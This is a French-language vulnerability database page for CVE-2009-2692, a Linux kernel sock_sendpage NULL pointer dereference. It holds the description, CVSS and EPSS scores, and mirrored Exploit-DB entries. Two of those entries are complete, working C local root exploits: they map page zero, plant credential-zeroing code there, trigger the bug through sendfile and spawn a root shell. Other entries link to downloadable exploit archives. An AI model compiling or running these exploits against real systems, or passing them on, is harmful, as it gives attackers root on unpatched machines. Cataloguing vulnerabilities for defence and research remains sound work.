CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
The Linux kernel 2.6.0 through 2.6.30.4, and 2.4.4 through 2.4.37.4, does not initialize all function pointers for socket operations in proto_ops structures, which allows local users to trigger a NULL pointer dereference and gain privileges by using mmap to map page zero, placing arbitrary code on this page, and then invoking an unavailable operation, as demonstrated by the sendpage operation (sock_sendpage function) on a PF_PPPOX socket.
Use of Uninitialized Resource The product uses or accesses a resource that has not been initialized.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
7.8
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Local
The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
Low
The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.11%
–
–
2022-03-20
–
–
2.11%
–
–
2022-04-03
–
–
2.11%
–
–
2022-06-19
–
–
2.11%
–
–
2022-12-25
–
–
2.11%
–
–
2023-01-01
–
–
2.11%
–
–
2023-02-19
–
–
2.11%
–
–
2023-03-12
–
–
–
0.06%
–
2023-04-09
–
–
–
0.06%
–
2023-08-20
–
–
–
0.05%
–
2024-01-14
–
–
–
0.05%
–
2024-01-28
–
–
–
0.05%
–
2024-02-04
–
–
–
0.05%
–
2024-02-11
–
–
–
0.05%
–
2024-03-10
–
–
–
0.05%
–
2024-04-14
–
–
–
0.05%
–
2024-06-02
–
–
–
0.05%
–
2024-06-23
–
–
–
0.05%
–
2024-08-04
–
–
–
0.05%
–
2024-08-11
–
–
–
0.05%
–
2024-11-03
–
–
–
0.05%
–
2024-12-15
–
–
–
0.05%
–
2024-12-22
–
–
–
0.05%
–
2025-02-16
–
–
–
0.05%
–
2025-01-19
–
–
–
0.05%
–
2025-02-16
–
–
–
0.05%
–
2025-03-18
–
–
–
–
17.3%
2025-03-30
–
–
–
–
18.51%
2025-03-30
–
–
–
–
18.51,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2009-08-17 22h00 +00:00 Auteur : Zinx EDB Vérifié : Yes
Source for exploiting CVE-2009-2692 on Android; Hole is closed in Android kernels released August 2009 or later.
http://zenthought.org/content/file/android-root-2009-08-16-source
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9477.tar.gz (android-root-20090816.tar.gz)
# milw0rm.com [2009-08-18]
Date de publication : 2009-08-30 22h00 +00:00 Auteur : Ramon de C Valle EDB Vérifié : Yes
/*
* Linux sock_sendpage() NULL pointer dereference
* Copyright 2009 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
/*
* This exploit was written to illustrate the exploitability of this
* vulnerability[1], discovered by Tavis Ormandy and Julien Tinnes, on ppc
* and ppc64.
*
* This exploit makes use of the SELinux and the mmap_min_addr problem to
* exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3.
* The problem, first noticed by Brad Spengler, was described by Red Hat in
* Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and
* the mmap_min_addr protection[2].
*
* Support for i386 and x86_64 was added for completeness. For a more complete
* implementation, refer to Brad Spengler's exploit[3], which also implements
* the personality trick[4] published by Tavis Ormandy and Julien Tinnes.
*
* Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4
* are vulnerable.
*
* This exploit was tested on:
*
* CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable
* CentOS 5.3 (2.6.18-128.4.1.el5)
* CentOS 5.3 (2.6.18-128.2.1.el5)
* CentOS 5.3 (2.6.18-128.1.16.el5)
* CentOS 5.3 (2.6.18-128.1.14.el5)
* CentOS 5.3 (2.6.18-128.1.10.el5)
* CentOS 5.3 (2.6.18-128.1.6.el5)
* CentOS 5.3 (2.6.18-128.1.1.el5)
* CentOS 5.3 (2.6.18-128.el5)
* CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable
* CentOS 4.8 (2.6.9-89.0.7.EL)
* CentOS 4.8 (2.6.9-89.0.3.EL)
* CentOS 4.8 (2.6.9-89.EL)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable
* Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)
* Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)
* SUSE Linux Enterprise Server 11 (2.6.27.19-5)
* SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)
* Ubuntu 8.10 (2.6.27-14) is not vulnerable
* Ubuntu 8.10 (2.6.27-11)
* Ubuntu 8.10 (2.6.27-9)
* Ubuntu 8.10 (2.6.27-7)
*
* For i386 and ppc, compile with the following command:
* gcc -Wall -o linux-sendpage linux-sendpage.c
*
* And for x86_64 and ppc64:
* gcc -Wall -m64 -o linux-sendpage linux-sendpage.c
*
* [1] http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html
* [2] http://kbase.redhat.com/faq/docs/DOC-18042
* [3] http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz
* [4] http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#if !defined(__always_inline)
#define __always_inline inline __attribute__((always_inline))
#endif
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("movq %%rsp,%0; " : "=r" (sp));
return sp;
}
#else
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("movl %%esp,%0" : "=r" (sp));
return sp;
}
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("mr %0,%%r1; " : "=r" (sp));
return sp;
}
#endif
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct;
asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct));
return task_struct;
}
#else
#define TASK_RUNNING 0
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;
thread_info = current_stack_pointer() & ~(4096 - 1);
if (*(unsigned long *)thread_info >= 0xc0000000) {
task_struct = *(unsigned long *)thread_info;
/*
* The TASK_RUNNING is the only possible state for a process executing
* in user-space.
*/
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
}
/*
* Prior to the 2.6 kernel series, the task_struct was stored at the end
* of the kernel stack.
*/
task_struct = current_stack_pointer() & ~(8192 - 1);
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
thread_info = task_struct;
task_struct = *(unsigned long *)thread_info;
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
return -1;
}
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
#define TASK_RUNNING 0
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;
#if defined(__LP64__)
task_struct = current_stack_pointer() & ~(16384 - 1);
#else
task_struct = current_stack_pointer() & ~(8192 - 1);
#endif
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
thread_info = task_struct;
task_struct = *(unsigned long *)thread_info;
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
return -1;
}
#endif
#if defined(__i386__) || defined(__x86_64__)
static unsigned long uid, gid;
static int
change_cred(void)
{
unsigned int *task_struct;
task_struct = (unsigned int *)current_task_struct();
while (task_struct) {
if (task_struct[0] == uid && task_struct[1] == uid &&
task_struct[2] == uid && task_struct[3] == uid &&
task_struct[4] == gid && task_struct[5] == gid &&
task_struct[6] == gid && task_struct[7] == gid) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return -1;
}
#elif defined(__powerpc__) || defined(__powerpc64__)
static int
change_cred(void)
{
unsigned int *task_struct;
task_struct = (unsigned int *)current_task_struct();
while (task_struct) {
if (!task_struct[0]) {
task_struct++;
continue;
}
if (task_struct[0] == task_struct[1] &&
task_struct[0] == task_struct[2] &&
task_struct[0] == task_struct[3] &&
task_struct[4] == task_struct[5] &&
task_struct[4] == task_struct[6] &&
task_struct[4] == task_struct[7]) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return -1;
}
#endif
#define PAGE_SIZE getpagesize()
int
main(void)
{
char *addr;
int out_fd, in_fd;
char template[] = "/tmp/tmp.XXXXXX";
#if defined(__i386__) || defined(__x86_64__)
uid = getuid(), gid = getgid();
#endif
if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
exit(EXIT_FAILURE);
}
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
addr[0] = '\xff';
addr[1] = '\x24';
addr[2] = '\x25';
*(unsigned long *)&addr[3] = 8;
*(unsigned long *)&addr[8] = (unsigned long)change_cred;
#else
addr[0] = '\xff';
addr[1] = '\x25';
*(unsigned long *)&addr[2] = 8;
*(unsigned long *)&addr[8] = (unsigned long)change_cred;
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
#if defined(__LP64__)
/*
* The use of function descriptors by the Power 64-bit ELF ABI requires
* the use of a fake function descriptor.
*/
*(unsigned long *)&addr[0] = *(unsigned long *)change_cred;
#else
addr[0] = '\x3f';
addr[1] = '\xe0';
*(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;
addr[4] = '\x63';
addr[5] = '\xff';
*(unsigned short *)&addr[6] = (unsigned short)change_cred;
addr[8] = '\x7f';
addr[9] = '\xe9';
addr[10] = '\x03';
addr[11] = '\xa6';
addr[12] = '\x4e';
addr[13] = '\x80';
addr[14] = '\x04';
addr[15] = '\x20';
#endif
#endif
if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(EXIT_FAILURE);
}
if ((in_fd = mkstemp(template)) == -1) {
perror("mkstemp");
exit(EXIT_FAILURE);
}
if(unlink(template) == -1) {
perror("unlink");
exit(EXIT_FAILURE);
}
if (ftruncate(in_fd, PAGE_SIZE) == -1) {
perror("ftruncate");
exit(EXIT_FAILURE);
}
sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
execl("/bin/sh", "sh", "-i", NULL);
exit(EXIT_SUCCESS);
}
// milw0rm.com [2009-08-31]
Date de publication : 2009-09-08 22h00 +00:00 Auteur : Ramon de C Valle EDB Vérifié : Yes
This is the second version of Linux sock_sendpage() NULL pointer
dereference exploit. Now, it also works with Linux kernel versions
which implements COW credentials (e.g. Fedora 11). For SELinux enforced
systems, it automatically searches in the SELinux policy rules for
types with mmap_zero permission it can transition, and tries to exploit
the system with that types.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9598.tar.gz (2009-linux-sendpage2.tar.gz)
# milw0rm.com [2009-09-09]
Date de publication : 2009-08-23 22h00 +00:00 Auteur : INetCop Security EDB Vérifié : Yes
/*
**
** 0x82-CVE-2009-2692
** Linux kernel 2.4/2.6 (32bit) sock_sendpage() local ring0 root exploit (simple ver)
** Tested RedHat Linux 9.0, Fedora core 4~11, Whitebox 4, CentOS 4.x.
**
** --
** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.
** spender and venglin's code is very excellent.
** Thankful to them.
**
** Greets: Brad Spengler <spender(at)grsecurity(dot)net>,
** Przemyslaw Frasunek <venglin(at)czuby(dot)pl>.
** --
** exploit by <p0c73n1(at)gmail(dot)com>.
**
** "Slow and dirty exploit for this one"
**
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/personality.h>
unsigned int uid, gid;
void kernel_code()
{
unsigned long where=0;
unsigned long *pcb_task_struct;
where=(unsigned long )&where;
where&=~8191;
pcb_task_struct=(unsigned long *)where;
while(pcb_task_struct){
if(pcb_task_struct[0]==uid&&pcb_task_struct[1]==uid&&
pcb_task_struct[2]==uid&&pcb_task_struct[3]==uid&&
pcb_task_struct[4]==gid&&pcb_task_struct[5]==gid&&
pcb_task_struct[6]==gid&&pcb_task_struct[7]==gid){
pcb_task_struct[0]=pcb_task_struct[1]=pcb_task_struct[2]=pcb_task_struct[3]=0;
pcb_task_struct[4]=pcb_task_struct[5]=pcb_task_struct[6]=pcb_task_struct[7]=0;
break;
}
pcb_task_struct++;
}
return;
/*
** By calling iret after pushing a register into kernel stack,
** We don't have to go back to ring3(user mode) privilege level. dont worry. :-}
**
** kernel_code() function will return to its previous status which means before sendfile() system call,
** after operating upon a ring0(kernel mode) privilege level.
** This will enhance the viablity of the attack code even though each kernel can have different CS and DS address.
*/
}
void *kernel=kernel_code;
int main(int argc,char *argv[])
{
int fd_in=0,fd_out=0,offset=1;
void *zero_page;
uid=getuid();
gid=getgid();
if(uid==0){
fprintf(stderr,"[-] check ur uid\n");
return -1;
}
/*
** There are some cases that we need mprotect due to the dependency matter with SVR4. (however, I did not confirm it yet)
*/
if(personality(0xffffffff)==PER_SVR4){
if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
perror("[-] mprotect()");
return -1;
}
}
else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
perror("[-] mmap()");
return -1;
}
*(char *)0x00000000=0xff;
*(char *)0x00000001=0x25;
*(unsigned long *)0x00000002=(unsigned long)&kernel;
*(char *)0x00000006=0xc3;
if((fd_in=open(argv[0],O_RDONLY))==-1){
perror("[-] open()");
return -1;
}
if((fd_out=socket(PF_APPLETALK,SOCK_DGRAM,0))==-1){
if((fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0))==-1){
perror("[-] socket()");
return -1;
}
}
gogossing:
/*
** Sometimes, the attacks can fail. To enlarge the possiblilty of attack,
** an attacker can make all the processes runing under current user uid 0.
*/
if(sendfile(fd_out,fd_in,&offset,2)==-1){
if(offset==0){
perror("[-] sendfile()");
return -1;
}
close(fd_out);
fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0);
}
if(getuid()==uid){
if(offset){
offset=0;
}
goto gogossing; /* all process */
}
close(fd_in);
close(fd_out);
execl("/bin/sh","sh","-i",NULL);
return 0;
}
/* eoc */
// milw0rm.com [2009-08-24]
Date de publication : 2009-09-10 22h00 +00:00 Auteur : Ramon de C Valle EDB Vérifié : Yes
This third version features: Complete support for i386, x86_64, ppc and ppc64; The
personality trick published by Tavis Ormandy and Julien Tinnes; The TOC
pointer workaround for data items addressing on ppc64 (i.e. functions
on exploit code and libc can be referenced); Improved search and
transition to SELinux types with mmap_zero permission.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9641.tar.gz (2009-linux-sendpage3.tar.gz)
# milw0rm.com [2009-09-11]
Date de publication : 2009-08-13 22h00 +00:00 Auteur : spender EDB Vérifié : Yes
/* dedicated to my best friend in the whole world, Robin Price
the joke is in your hands
just too easy -- some nice library functions for reuse here though
credits to julien tinnes/tavis ormandy for the bug
may want to remove the __attribute__((regparm(3))) for 2.4 kernels,
I have no time to test
spender@www:~$ cat redhat_hehe
I bet Red Hat will wish they closed the SELinux vulnerability when they
were given the opportunity to. Now all RHEL boxes will get owned by
leeches.c :p
fd7810e34e9856f77cba67f291ba115f33411ebd
d4b0e413ebf15d039953dfabf7f9a2d1
thanks to Dan Walsh for the great SELinux bypass even on "fixed" SELinux
policies
and nice work Linus on trying to silently fix an 8 year old
vulnerability, leaving vendors without patched kernels for their users.
use ./wunderbar_emporium.sh for everything
don't have mplayer? watch an earlier version of the exploit at:
http://www.youtube.com/watch?v=arAfIp7YzZ4
*/
http://www.grsecurity.net/~spender/wunderbar_emporium.tgz
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9435.tgz (2009-wunderbar_emporium.tgz)
# milw0rm.com [2009-08-14]
Date de publication : 2009-08-13 22h00 +00:00 Auteur : Przemyslaw Frasunek EDB Vérifié : Yes
> Linux NULL pointer dereference due to incorrect proto_ops initializations
> > -------------------------------------------------------------------------
Quick and dirty exploit for this one:
http://www.frasunek.com/proto_ops.tgz
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9436.tgz (2009-proto_ops.tgz)
# milw0rm.com [2009-08-14]
Products Mentioned
Configuraton 0
Linux>>Linux_kernel >> Version From (including) 2.4.4 To (excluding) 2.4.37.5